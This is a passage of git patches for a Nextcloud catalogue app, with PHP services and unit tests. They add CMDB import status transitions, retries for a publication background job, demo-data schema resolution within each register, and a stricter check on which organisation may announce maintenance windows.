Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` SHALL be written only when the usage is created or the field is empty, so a note an admin wrote is never overwritten. A status that changed in the source SHALL be written on update: the usage lifecycle SHALL declare, per state, a transition to it from every other state with `authorization` `["admin"]` (fragment `topdesk-cmdb-import.json`, usage 1.5.6), so the import follows TOPdesk while every other user keeps the regular transitions. #### Scenario: The usage records whether maintenance is arranged @e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports a row from each sheet. diff --git a/tests/Unit/Settings/PublicationFieldRulesTest.php b/tests/Unit/Settings/PublicationFieldRulesTest.php index c47505f3e..f5a373e90 100644 --- a/tests/Unit/Settings/PublicationFieldRulesTest.php +++ b/tests/Unit/Settings/PublicationFieldRulesTest.php @@ -172,7 +172,7 @@ public function testAFragmentNeverLowersAVersion(): void { $this->assertSame('1.5.5', $merged['components']['schemas']['usage']['version']); $schemas = $this->register()['components']['schemas']; - $this->assertSame('1.5.5', $schemas['usage']['version'], 'publication-field-rules.json sorts before sharing-itsm-exchange.json and value-assessment.json'); + $this->assertSame('1.5.6', $schemas['usage']['version'], 'topdesk-cmdb-import.json bumps it past publication-field-rules.json; value-assessment.json, sorting last, does not lower it'); $this->assertSame('0.3.5', $schemas['connection']['version']); $this->assertSame('0.1.6', $schemas['moduleVersion']['version']); }//end testAFragmentNeverLowersAVersion() diff --git a/tests/Unit/Settings/TopdeskCmdbFragmentTest.php b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php index 13e592f38..809a8d79c 100644 --- a/tests/Unit/Settings/TopdeskCmdbFragmentTest.php +++ b/tests/Unit/Settings/TopdeskCmdbFragmentTest.php @@ -37,7 +37,7 @@ class TopdeskCmdbFragmentTest extends TestCase { private const PROPERTIES = ['externalId', 'externalNumber', 'externalKey', 'externalCreatedAt', 'externalModifiedAt', 'applicationType']; /** - * The register after merging every fragment in sorted filename order. + * The register after merging every fragment in sorted filename order, keeping the highest version per schema as the loader does. * * @return array */ @@ -45,11 +45,13 @@ private function mergedRegister(): array { $dir = __DIR__ . '/../../../lib/Settings'; $register = json_decode((string)file_get_contents($dir . '/softwarecatalogus_register.json'), true); $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $keepHighest = new ReflectionMethod(SettingsService::class, 'keepHighestSchemaVersions'); $files = glob($dir . '/register.d/*.json'); sort($files); foreach ($files as $file) { - $register = $merge->invoke(null, $register, json_decode((string)file_get_contents($file), true)); + $merged = $merge->invoke(null, $register, json_decode((string)file_get_contents($file), true)); + $register = $keepHighest->invoke(null, $register, $merged); } return $register; @@ -85,6 +87,34 @@ public function testTheMergedModuleIsVersion037WithTheExternalIds(): void { $this->assertSame(['name'], $module['required']); }//end testTheMergedModuleIsVersion037WithTheExternalIds() + /** + * A CMDB import sets the usage status TOPdesk records from any state; only an administrator may. + * + * The import follows the source, so a status that changed in TOPdesk + * comes through even where no regular transition leads to it; the + * regular transitions still bind every other user. + * + * @return void + */ + public function testAnAdministratorMayMoveAUsageToAnyStateTheSourceRecords(): void { + $usage = $this->mergedRegister()['components']['schemas']['usage']; + $this->assertSame('1.5.6', $usage['version'], 'a lifecycle-only edit deploys only with a version bump'); + + $lifecycle = $usage['configuration']['x-openregister-lifecycle']; + $states = $usage['properties']['status']['enum']; + $this->assertSame('goLive', array_key_first(array_filter($lifecycle['transitions'], static fn (array $t): bool => $t['to'] === 'In production')), 'the regular transition is resolved first'); + + foreach ($states as $state) { + $imports = array_values(array_filter($lifecycle['transitions'], static fn (array $t): bool => $t['to'] === $state && ($t['authorization'] ?? null) === ['admin'])); + $this->assertCount(1, $imports, $state); + $this->assertEqualsCanonicalizing(array_values(array_diff($states, [$state])), $imports[0]['from'], $state); + } + + foreach (['plan', 'goLive', 'phaseOut', 'retire'] as $regular) { + $this->assertArrayNotHasKey('authorization', $lifecycle['transitions'][$regular], $regular . ' stays open to every user'); + } + }//end testAnAdministratorMayMoveAUsageToAnyStateTheSourceRecords() + /** * The fragment sorts after the fragment that set module 0.3.4. * From b67c6f5f2620f61f44b4b89afd904166fd26ae5d Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 14:13:30 +0200 Subject: [PATCH 149/176] refactor(cmdb-import): move the uncached-formula warnings out of processRow() The publish and import-key checks brought processRow() to PHPMD's thresholds for cyclomatic complexity, NPath and method length. The loop that turns uncached formula cells into row warnings is now uncachedWarnings(); the behaviour is unchanged. Co-Authored-By: Claude Opus 5.5 --- lib/Service/CmdbExportImportService.php | 23 +++++++++++++++++++---- 1 file changed, 19 insertions(+), 4 deletions(-) diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index fe8b164b6..0db124293 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -552,10 +552,7 @@ private function processRow( $entry = ['sheet' => $sheet, 'row' => $rowNumber, 'appId' => $appId, 'name' => $name]; - $warnings = []; - foreach (($row['uncached'] ?? []) as $column) { - $warnings[] = $this->l10n->t('Column "%s": formula without a cached value, read as empty', [(string)$column]); - } + $warnings = $this->uncachedWarnings(row: $row); $matchKey = self::matchKey(appId: $appId); if ($this->skipForWinningSheet(report: $report, entry: $entry, matchKey: $matchKey, warnings: $warnings) === true) { @@ -630,6 +627,24 @@ private function processRow( $this->addRow(report: $report, entry: $entry, outcome: $outcome, warnings: $warnings, moduleUuid: $moduleUuid, usageUuid: $usageUuid); }//end processRow() + /** + * The warning for each formula cell of a row that had no cached value. + * + * @param array{uncached?: array} $row The reader row. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + private function uncachedWarnings(array $row): array { + $warnings = []; + foreach (($row['uncached'] ?? []) as $column) { + $warnings[] = $this->l10n->t('Column "%s": formula without a cached value, read as empty', [(string)$column]); + } + + return $warnings; + }//end uncachedWarnings() + /** * Report a row as failed at a step, and log it without person data. * From cd5d3b9964942b059c0d0fb87a76b17c41181ca3 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:16:57 +0200 Subject: [PATCH 150/176] fix(publication): retry a failed copy and clear the versions of a module that is gone OpenRegister's find() throws DoesNotExistException for a missing object, so a module deleted before its job ran took the "could not read" path and left its versions as they were; and a queued job is removed before it runs, so a failed copy was lost. The job now clears the versions when the module does not exist, and queues itself again five minutes later when the read or a version write fails, up to three tries, after which it logs critical. Co-Authored-By: Claude Opus 5.5 (1M context) --- .../ModuleVersionPublicationJob.php | 65 ++++++++++++++++-- .../ModuleVersionPublicationService.php | 2 +- .../ModuleVersionPublicationServiceTest.php | 67 +++++++++++++++++-- 3 files changed, 119 insertions(+), 15 deletions(-) diff --git a/lib/BackgroundJob/ModuleVersionPublicationJob.php b/lib/BackgroundJob/ModuleVersionPublicationJob.php index 8f9b16f58..6c5928563 100644 --- a/lib/BackgroundJob/ModuleVersionPublicationJob.php +++ b/lib/BackgroundJob/ModuleVersionPublicationJob.php @@ -8,6 +8,8 @@ * module is deleted, so the one save per version runs off the request that * saved the module. The module is read when the job runs, so the versions * follow the module as it is then, not as it was when the job was queued. + * A queued job is removed before it runs, so a copy that fails is queued + * again, a few minutes later, up to MAX_ATTEMPTS times. * * @category BackgroundJob * @package OCA\Stackiq\BackgroundJob @@ -28,7 +30,9 @@ use OCA\OpenRegister\Contract\ObjectServiceInterface; use OCA\Stackiq\Service\ModuleVersionPublicationService; use OCA\Stackiq\Service\SettingsService; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\AppFramework\Utility\ITimeFactory; +use OCP\BackgroundJob\IJobList; use OCP\BackgroundJob\QueuedJob; use Psr\Container\ContainerInterface; use Psr\Log\LoggerInterface; @@ -42,6 +46,16 @@ */ class ModuleVersionPublicationJob extends QueuedJob { + /** + * How many times one copy is tried before it is given up and logged as critical. + */ + public const MAX_ATTEMPTS = 3; + + /** + * Seconds between a failed copy and the next try. + */ + public const RETRY_DELAY = 300; + /** * Constructor. * @@ -50,6 +64,7 @@ class ModuleVersionPublicationJob extends QueuedJob { * @param SettingsService $settingsService Resolves the module register and schema. * @param ContainerInterface $container Resolves OpenRegister's object service. * @param LoggerInterface $logger The logger. + * @param IJobList $jobList Queues the job again after a failed copy. */ public function __construct( ITimeFactory $time, @@ -57,6 +72,7 @@ public function __construct( private readonly SettingsService $settingsService, private readonly ContainerInterface $container, private readonly LoggerInterface $logger, + private readonly IJobList $jobList, ) { parent::__construct(time: $time); }//end __construct() @@ -65,9 +81,10 @@ public function __construct( * Copy the publication of the module in the argument onto its versions. * * A deleted module, or one that no longer exists, takes its versions out - * of public view. A module that cannot be read leaves its versions as they are. + * of public view. A module that cannot be read, or a version that cannot be + * written, is tried again later. * - * @param mixed $argument `{module, deleted}`: the module's id and whether it was deleted. + * @param mixed $argument `{module, deleted, attempt?}`: the module's id, whether it was deleted, and the try. * * @return void * @@ -84,28 +101,61 @@ protected function run($argument): void { } if (($argument['deleted'] ?? false) === true) { - $this->publication->clearVersions(moduleUuid: $moduleUuid); + $this->retryOnFailure(argument: $argument, failed: $this->publication->clearVersions(moduleUuid: $moduleUuid)['failed']); return; } try { $module = $this->findModule(moduleUuid: $moduleUuid); + } catch (DoesNotExistException $e) { + $module = null; } catch (Throwable $e) { $this->logger->error( - 'ModuleVersionPublicationJob: could not read the module; its versions are left as they are', + 'ModuleVersionPublicationJob: could not read the module; its versions are tried again later', ['module' => $moduleUuid, 'error' => $e->getMessage()] ); + $this->retryOnFailure(argument: $argument, failed: 1); return; } + $result = ['failed' => 0]; + if ($module !== null) { + $result = $this->publication->backfillModule(module: $module); + } + if ($module === null) { - $this->publication->clearVersions(moduleUuid: $moduleUuid); - return; + $result = $this->publication->clearVersions(moduleUuid: $moduleUuid); } - $this->publication->backfillModule(module: $module); + $this->retryOnFailure(argument: $argument, failed: $result['failed']); }//end run() + /** + * Queue the copy again after a failure, until MAX_ATTEMPTS tries were made. + * + * @param array $argument The job's argument. + * @param int $failed The versions or reads that failed in this try. + * + * @return void + */ + private function retryOnFailure(array $argument, int $failed): void { + if ($failed === 0) { + return; + } + + $attempt = ((int) ($argument['attempt'] ?? 1)); + if ($attempt >= self::MAX_ATTEMPTS) { + $this->logger->critical( + 'ModuleVersionPublicationJob: gave up copying the publication onto the versions; save the module again to retry', + ['module' => $argument['module'], 'attempts' => $attempt, 'failed' => $failed] + ); + return; + } + + $argument['attempt'] = ($attempt + 1); + $this->jobList->scheduleAfter(self::class, $this->time->getTime() + self::RETRY_DELAY, $argument); + }//end retryOnFailure() + /** * Read the module as it is now. * @@ -113,6 +163,7 @@ protected function run($argument): void { * * @return ObjectEntityInterface|null The module, or null when it no longer exists. * + * @throws DoesNotExistException When the module no longer exists (OpenRegister's find() throws rather than returning null). * @throws Throwable When OpenRegister is absent or the read fails. */ private function findModule(string $moduleUuid): ?ObjectEntityInterface { diff --git a/lib/Service/ModuleVersionPublicationService.php b/lib/Service/ModuleVersionPublicationService.php index 6eaca1ce6..af09b6f8b 100644 --- a/lib/Service/ModuleVersionPublicationService.php +++ b/lib/Service/ModuleVersionPublicationService.php @@ -309,7 +309,7 @@ private static function isPublicNow(array $mirror): bool { */ private function logFailure(string $message, array $context, bool $depublishes): void { if ($depublishes === true) { - $this->logger->critical($message . '; the version stays public until it is saved again or the backfill runs', $context); + $this->logger->critical($message . '; the version stays public until a later copy onto it succeeds', $context); return; } diff --git a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php index 8a71114ab..c1600c973 100644 --- a/tests/Unit/Service/ModuleVersionPublicationServiceTest.php +++ b/tests/Unit/Service/ModuleVersionPublicationServiceTest.php @@ -27,6 +27,7 @@ use OCA\Stackiq\EventListener\ModuleVersionPublicationListener; use OCA\Stackiq\Service\ModuleVersionPublicationService; use OCA\Stackiq\Service\SettingsService; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\AppFramework\Utility\ITimeFactory; use OCP\BackgroundJob\IJobList; use PHPUnit\Framework\MockObject\MockObject; @@ -60,6 +61,20 @@ class ModuleVersionPublicationServiceTest extends TestCase { */ private array $queued = []; + /** + * The retries the job scheduled: argument and run-after time. + * + * @var array + */ + private array $retries = []; + + /** + * The job list double, shared by the service and the job. + * + * @var IJobList&MockObject + */ + private IJobList&MockObject $jobList; + /** * The service of the current test. * @@ -179,6 +194,13 @@ function (string $job, mixed $argument): void { $this->queued[] = [$job, $argument]; } ); + $jobList->method('scheduleAfter')->willReturnCallback( + function (string $job, int $runAfter, mixed $argument): void { + $this->assertSame(ModuleVersionPublicationJob::class, $job); + $this->retries[] = [$argument, $runAfter]; + } + ); + $this->jobList = $jobList; $this->settings = $settings; $this->container = $container; @@ -194,7 +216,9 @@ function (string $job, mixed $argument): void { private function runQueuedJobs(): void { foreach ($this->queued as [$class, $argument]) { $this->assertSame(ModuleVersionPublicationJob::class, $class); - $job = new ModuleVersionPublicationJob($this->createMock(ITimeFactory::class), $this->publication, $this->settings, $this->container, $this->logger); + $time = $this->createMock(ITimeFactory::class); + $time->method('getTime')->willReturn(1000); + $job = new ModuleVersionPublicationJob($time, $this->publication, $this->settings, $this->container, $this->logger, $this->jobList); $run = new \ReflectionMethod($job, 'run'); $run->invoke($job, $argument); } @@ -342,7 +366,8 @@ public function testADeletedModuleClearsItsVersions(): void { */ public function testAModuleGoneByTheTimeTheJobRunsClearsItsVersions(): void { $service = $this->service(); - $this->objects->method('find')->willReturn(null); + // OpenRegister's find() throws for a missing object; it does not return null. + $this->objects->method('find')->willThrowException(new DoesNotExistException('gone')); $this->objects->method('searchObjects')->willReturn([self::entity('v-1', '46', ['module' => 'm-1', 'moduleRegisteredBy' => 'Supplier'])]); $this->objects->expects($this->once())->method('saveObject')->with( $this->callback(static fn (array $data): bool => $data['modulePublicationDate'] === null && $data['moduleRegisteredBy'] === null) @@ -350,24 +375,52 @@ public function testAModuleGoneByTheTimeTheJobRunsClearsItsVersions(): void { $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); $this->runQueuedJobs(); + + $this->assertSame([], $this->retries, 'a module that is gone is not a failure'); }//end testAModuleGoneByTheTimeTheJobRunsClearsItsVersions() /** - * A module that cannot be read leaves its versions as they are, and says so. + * A module that cannot be read is tried again a few minutes later, and given up after the last try. * * @return void */ - public function testAModuleThatCannotBeReadLeavesItsVersions(): void { + public function testAModuleThatCannotBeReadIsTriedAgain(): void { $service = $this->service(); $this->objects->method('find')->willThrowException(new \RuntimeException('database went away')); $this->objects->expects($this->never())->method('searchObjects'); - $this->logger->expects($this->once())->method('error')->with($this->stringContains('left as they are')); - $this->objects->expects($this->never())->method('saveObject'); + $this->logger->expects($this->exactly(ModuleVersionPublicationJob::MAX_ATTEMPTS))->method('error')->with($this->stringContains('tried again later')); + $this->logger->expects($this->once())->method('critical')->with($this->stringContains('gave up')); $service->objectSaved(object: self::entity('m-1', '43', ['registeredBy' => 'Supplier'])); $this->runQueuedJobs(); - }//end testAModuleThatCannotBeReadLeavesItsVersions() + + $this->assertSame([[['module' => 'm-1', 'deleted' => false, 'attempt' => 2], 1000 + ModuleVersionPublicationJob::RETRY_DELAY]], $this->retries); + + for ($attempt = 2; $attempt <= ModuleVersionPublicationJob::MAX_ATTEMPTS; $attempt++) { + $this->queued = [[ModuleVersionPublicationJob::class, $this->retries[array_key_last($this->retries)][0]]]; + $this->runQueuedJobs(); + } + + $this->assertCount(ModuleVersionPublicationJob::MAX_ATTEMPTS - 1, $this->retries, 'no retry after the last try'); + }//end testAModuleThatCannotBeReadIsTriedAgain() + + /** + * A version that cannot be written during the job's copy is tried again. + * + * @return void + */ + public function testAFailedVersionWriteInTheJobIsTriedAgain(): void { + $service = $this->service(); + $this->objects->method('find')->willReturn(self::entity('m-1', '43', ['registeredBy' => 'Municipality'])); + $this->objects->method('searchObjects')->willReturn([self::entity('v-1', '46', ['module' => 'm-1', 'moduleRegisteredBy' => 'Supplier'])]); + $this->objects->method('saveObject')->willThrowException(new \RuntimeException('lock wait timeout')); + + $service->objectDeleted(object: self::entity('m-1', '43', [])); + $this->runQueuedJobs(); + + $this->assertSame([['module' => 'm-1', 'deleted' => true, 'attempt' => 2]], array_column($this->retries, 0)); + }//end testAFailedVersionWriteInTheJobIsTriedAgain() /** * A depublication that cannot be written is logged as critical: the version stays public. From bcfd3025b22b7d38635e0c9b9aebde248d49e850 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:16:57 +0200 Subject: [PATCH 151/176] fix(demo-data): resolve each demo object's schema within its own register Without schema copies in the descriptor, OpenRegister resolves a seed's schema slug across the whole instance, and `organization` is also an OpenCatalogi slug; the importer then skips those objects as foreign. The demo install now looks the slug up in the schemas the object's register lists and passes that schema's id. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/Service/DemoDataService.php | 73 +++++++++++++++++++- tests/Unit/Service/DemoDataServiceTest.php | 77 ++++++++++++++++++++++ 2 files changed, 149 insertions(+), 1 deletion(-) diff --git a/lib/Service/DemoDataService.php b/lib/Service/DemoDataService.php index ac68ddefc..d5fd1a921 100644 --- a/lib/Service/DemoDataService.php +++ b/lib/Service/DemoDataService.php @@ -225,7 +225,10 @@ public function install(): array { $objects = count($components['objects']); } - $result = $this->configurationService()->importFromApp( + $importer = $this->configurationService(); + $data = $this->pinSchemasToTheirRegisters(data: $data); + + $result = $importer->importFromApp( appId: self::CONFIG_APP_ID, data: $data, version: $this->appManager->getAppVersion(Application::APP_ID), @@ -249,6 +252,74 @@ public function install(): array { return $imported; }//end install() + /** + * Point every demo object at its schema in its own register, by id. + * + * The descriptor carries no schema definitions (the live register's are the + * ones the objects must satisfy), so each object names its schema by slug. + * OpenRegister resolves a slug it has no definition for across the whole + * instance, and a slug such as `organization` is also another app's + * (OpenCatalogi's), whose schema the importer then skips as foreign. The + * register the object names lists the right schema, so the slug is + * resolved there and replaced by that schema's id. A slug the register does + * not list, or a register that cannot be read, is left for the importer. + * + * @param array $data The descriptor. + * + * @return array The descriptor with resolved schema ids. + * + * @spec exclude Demo-data import; ADR-111 rule 1 has no per-app behavioural spec. + */ + private function pinSchemasToTheirRegisters(array $data): array { + $objects = ($data['components']['objects'] ?? null); + if (is_array($objects) === false) { + return $data; + } + + $bySlug = []; + foreach ($objects as $index => $object) { + $register = (string) ($object['@self']['register'] ?? ''); + $schema = (string) ($object['@self']['schema'] ?? ''); + if ($register === '' || $schema === '') { + continue; + } + + $bySlug[$register] ??= $this->schemaIdsOfRegister(registerSlug: $register); + if (isset($bySlug[$register][$schema]) === true) { + $data['components']['objects'][$index]['@self']['schema'] = (string) $bySlug[$register][$schema]; + } + } + + return $data; + }//end pinSchemasToTheirRegisters() + + /** + * The schemas a register lists, as slug => id. + * + * @param string $registerSlug The register. + * + * @return array The schema ids by slug; empty when the register cannot be read. + */ + private function schemaIdsOfRegister(string $registerSlug): array { + try { + $register = $this->container->get('OCA\OpenRegister\Db\RegisterMapper')->find($registerSlug, _rbac: false, _multitenancy: false); + $schemas = $this->container->get('OCA\OpenRegister\Db\SchemaMapper')->findMultiple($register->getSchemas(), _rbac: false, _multitenancy: false); + } catch (\Throwable $e) { + $this->logger->warning( + '[DemoDataService] could not read the schemas of a demo register; its objects are resolved by slug', + ['register' => $registerSlug, 'error' => $e->getMessage()] + ); + return []; + } + + $ids = []; + foreach ($schemas as $schema) { + $ids[(string) $schema->getSlug()] = (int) $schema->getId(); + } + + return $ids; + }//end schemaIdsOfRegister() + /** * Absolute path to the shipped descriptor. * diff --git a/tests/Unit/Service/DemoDataServiceTest.php b/tests/Unit/Service/DemoDataServiceTest.php index 86357224c..d955bc2f8 100644 --- a/tests/Unit/Service/DemoDataServiceTest.php +++ b/tests/Unit/Service/DemoDataServiceTest.php @@ -192,4 +192,81 @@ public function importFromApp(string $appId, array $data, string $version, bool $this->assertSame('stackiq.demo', $importer->seen['appId']); $this->assertTrue($importer->seen['force']); } + + public function testEachObjectIsPointedAtTheSchemaOfItsOwnRegister(): void { + file_put_contents( + $this->descriptor(), + json_encode([ + 'components' => [ + 'objects' => [ + ['@self' => ['register' => 'stackiq', 'schema' => 'organization', 'slug' => 'org-1']], + ['@self' => ['register' => 'stackiq', 'schema' => 'notInTheRegister', 'slug' => 'x-1']], + ['@self' => ['register' => 'missing', 'schema' => 'organization', 'slug' => 'org-2']], + ], + ], + ]) + ); + + $importer = new class { + public array $data = []; + + public function importFromApp(string $appId, array $data, string $version, bool $force): array { + $this->data = $data; + return []; + } + }; + // 🔴 TWO SCHEMAS SHARE THE SLUG `organization` ON A REAL INSTANCE: OpenCatalogi's + // (id 3) and stackiq's (id 9). Only the one the register lists is the target. + $schema = static fn (int $id, string $slug): object => new class ($id, $slug) { + public function __construct(private int $id, private string $slug) { + } + + public function getId(): int { + return $this->id; + } + + public function getSlug(): string { + return $this->slug; + } + }; + $registers = new class { + public function find(string|int $id, bool $_rbac = true, bool $_multitenancy = true): object { + if ($id !== 'stackiq') { + throw new \RuntimeException('not found'); + } + + return new class { + public function getSchemas(): array { + return [5, 9]; + } + }; + } + }; + $schemas = new class ($schema) { + public function __construct(private \Closure $schema) { + } + + public function findMultiple(array $ids, bool $_rbac = true, bool $_multitenancy = true): array { + $this->lastIds = $ids; + return [($this->schema)(5, 'module'), ($this->schema)(9, 'organization')]; + } + + public array $lastIds = []; + }; + $this->container->method('get')->willReturnCallback( + static fn (string $id): object => match ($id) { + 'OCA\OpenRegister\Db\RegisterMapper' => $registers, + 'OCA\OpenRegister\Db\SchemaMapper' => $schemas, + default => $importer, + } + ); + + $this->service()->install(); + + $selves = array_column($importer->data['components']['objects'], '@self'); + $this->assertSame('9', $selves[0]['schema'], 'resolved within the register it names'); + $this->assertSame('notInTheRegister', $selves[1]['schema'], 'a slug the register does not list is left to the importer'); + $this->assertSame('organization', $selves[2]['schema'], 'a register that cannot be read is left to the importer'); + $this->assertSame([5, 9], $schemas->lastIds); + } } From e93af3a7435e82755b6e0cac2ffed180fd836192 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 15:16:57 +0200 Subject: [PATCH 152/176] fix(maintenance): only the provider may announce, and a refused window holds no recipients The organisation that owns a product record is often the importer's default organisation, so it no longer counts as the supplier; only the product's provider and the catalogue admins may reach its owners, as REQ-MSR-003 says. A refused window, resolved or not, is written back with an empty notifyUserIds, so the day-before reminder reaches nobody it named. A product that cannot be read is no longer taken as a refusal: nothing is written and the error is logged. Co-Authored-By: Claude Opus 5.5 (1M context) --- lib/Service/MaintenanceAnnouncerCheck.php | 20 +++-- lib/Service/MaintenanceRecipientService.php | 79 ++++++++++++------- .../maintenance-and-supplier-roadmap/spec.md | 2 +- .../MaintenanceRecipientsListenerTest.php | 74 ++++++++++++++--- 4 files changed, 124 insertions(+), 51 deletions(-) diff --git a/lib/Service/MaintenanceAnnouncerCheck.php b/lib/Service/MaintenanceAnnouncerCheck.php index 668e5ec35..280042663 100644 --- a/lib/Service/MaintenanceAnnouncerCheck.php +++ b/lib/Service/MaintenanceAnnouncerCheck.php @@ -24,8 +24,8 @@ use OCA\OpenRegister\Contract\ObjectEntityInterface; use OCA\OpenRegister\Contract\ObjectServiceInterface; +use OCP\AppFramework\Db\DoesNotExistException; use OCP\IGroupManager; -use Psr\Log\LoggerInterface; /** * Whether a maintenance window comes from someone allowed to reach the product's owners. @@ -46,12 +46,10 @@ class MaintenanceAnnouncerCheck { * * @param SettingsService $settingsService The module register and schema lookups. * @param IGroupManager $groupManager The group manager, for the catalogue's administrators. - * @param LoggerInterface $logger The logger. */ public function __construct( private readonly SettingsService $settingsService, private readonly IGroupManager $groupManager, - private readonly LoggerInterface $logger, ) { }//end __construct() @@ -59,8 +57,13 @@ public function __construct( * Whether a window may notify the owners of its product. * * Yes when a catalogue administrator created it, or when the organisation - * that owns the window is the product's supplier (`provider`) or owns the - * product. A product that cannot be read refuses. + * that owns the window is the product's supplier (`provider`). The + * organisation that merely owns the product record does not count: a + * product entered by an administrator or an import carries the importer's + * organisation, often the default one, which says nothing about who supplies + * it. A product that no longer exists refuses; a read that fails for any + * other reason is thrown, so the caller writes nothing rather than treating + * a real supplier's window as refused. * * @param ObjectServiceInterface $objectService OpenRegister's object service. * @param ObjectEntityInterface $window The maintenance window. @@ -68,6 +71,8 @@ public function __construct( * * @return boolean True when the owners may be notified. * + * @throws \Throwable When the product cannot be read for a reason other than that it does not exist. + * * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified */ public function mayAnnounce(ObjectServiceInterface $objectService, ObjectEntityInterface $window, string $moduleId): bool { @@ -88,8 +93,7 @@ public function mayAnnounce(ObjectServiceInterface $objectService, ObjectEntityI _rbac: false, _multitenancy: false ); - } catch (\Throwable $e) { - $this->logger->error('MaintenanceAnnouncerCheck: could not read the product', ['module' => $moduleId, 'error' => $e->getMessage()]); + } catch (DoesNotExistException $e) { return false; } @@ -102,7 +106,7 @@ public function mayAnnounce(ObjectServiceInterface $objectService, ObjectEntityI $provider = ($provider['id'] ?? ($provider['uuid'] ?? null)); } - return $organisation === $provider || $organisation === (string) $module->getOrganisation(); + return $organisation === $provider; }//end mayAnnounce() /** diff --git a/lib/Service/MaintenanceRecipientService.php b/lib/Service/MaintenanceRecipientService.php index 32cab0dc4..11f7edcef 100644 --- a/lib/Service/MaintenanceRecipientService.php +++ b/lib/Service/MaintenanceRecipientService.php @@ -128,54 +128,49 @@ public function recordRecipientsFor(string $uuid, string|int|null $register, str * makes cannot start it again. * * Only the supplier of the product, or a catalogue administrator, may have - * its owners notified: a window from any other organisation is refused and - * nothing is written, so a supplier cannot reach a competitor's customers. + * its owners notified. A window from any other organisation is refused, + * whether or not it carries a resolved time: its `notifyUserIds` is + * written back empty, so neither the announcement nor the reminder a day + * before (`maintenance-starts-tomorrow`) reaches anyone it names. * * @param ObjectEntityInterface $window The maintenance window. * @param DateTimeImmutable|null $now The moment of resolution (defaults to now). * - * @return array|null The user ids written, or null when nothing was written. + * @return array|null The user ids written, or null when no owners were recorded. * * @spec openspec/specs/maintenance-and-supplier-roadmap/spec.md#requirement-req-msr-003-the-owners-of-every-usage-are-notified */ public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutable $now=null): ?array { - $data = $window->getObject(); - if (empty($data['recipientsResolvedAt']) === false) { - return null; - } - - $moduleId = self::referenceId(value: ($data['module'] ?? null)); + $data = $window->getObject(); + $moduleId = self::referenceId(value: ($data['module'] ?? null)); $objectService = $this->getObjectService(); if ($moduleId === null || $objectService === null) { return null; } - if ($this->announcers->mayAnnounce(objectService: $objectService, window: $window, moduleId: $moduleId) === false) { - $this->logger->warning( - 'MaintenanceRecipientService: the window is not from the supplier of the product; no owners are notified', - ['uuid' => $window->getUuid(), 'module' => $moduleId, 'organisation' => $window->getOrganisation()] - ); - return null; - } + try { + if ($this->announcers->mayAnnounce(objectService: $objectService, window: $window, moduleId: $moduleId) === false) { + $this->logger->warning( + 'MaintenanceRecipientService: the window is not from the supplier of the product; no owners are notified', + ['uuid' => $window->getUuid(), 'module' => $moduleId, 'organisation' => $window->getOrganisation()] + ); + $data['notifyUserIds'] = []; + $this->saveWindow(objectService: $objectService, window: $window, data: $data); + return null; + } - $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); + if (empty($data['recipientsResolvedAt']) === false) { + return null; + } - $data['notifyUserIds'] = $userIds; - $data['recipientsResolvedAt'] = ($now ?? new DateTimeImmutable())->format(DateTimeInterface::ATOM); + $userIds = $this->ownerUserIds(objectService: $objectService, moduleId: $moduleId); - try { - $objectService->saveObject( - object: $data, - extend: [], - register: $window->getRegister(), - schema: $window->getSchema(), - uuid: $window->getUuid(), - _rbac: false, - _multitenancy: false - ); + $data['notifyUserIds'] = $userIds; + $data['recipientsResolvedAt'] = ($now ?? new DateTimeImmutable())->format(DateTimeInterface::ATOM); + $this->saveWindow(objectService: $objectService, window: $window, data: $data); } catch (\Throwable $e) { $this->logger->error( - 'MaintenanceRecipientService: could not record the owners to notify', + 'MaintenanceRecipientService: could not check or record the owners to notify; nothing was written', ['uuid' => $window->getUuid(), 'error' => $e->getMessage()] ); return null; @@ -184,6 +179,30 @@ public function recordRecipients(ObjectEntityInterface $window, ?DateTimeImmutab return $userIds; }//end recordRecipients() + /** + * Write a maintenance window back, without RBAC: the two notification fields + * are writable only by the catalogue's administrators over the API. + * + * @param ObjectServiceInterface $objectService OpenRegister's object service. + * @param ObjectEntityInterface $window The window. + * @param array $data Its data to store. + * + * @return void + * + * @throws \Throwable When OpenRegister refuses or fails the write. + */ + private function saveWindow(ObjectServiceInterface $objectService, ObjectEntityInterface $window, array $data): void { + $objectService->saveObject( + object: $data, + extend: [], + register: $window->getRegister(), + schema: $window->getSchema(), + uuid: $window->getUuid(), + _rbac: false, + _multitenancy: false + ); + }//end saveWindow() + /** * The Nextcloud user ids of the owners of every usage of a product. * diff --git a/openspec/specs/maintenance-and-supplier-roadmap/spec.md b/openspec/specs/maintenance-and-supplier-roadmap/spec.md index 0e43e01b6..82bdbf3b4 100644 --- a/openspec/specs/maintenance-and-supplier-roadmap/spec.md +++ b/openspec/specs/maintenance-and-supplier-roadmap/spec.md @@ -29,7 +29,7 @@ The product page SHALL list its maintenance windows, and the dashboard SHALL lis ### Requirement: REQ-MSR-003 The owners of every usage are notified -When a supplier announces a window, stackiq SHALL notify the business and technical owners of every 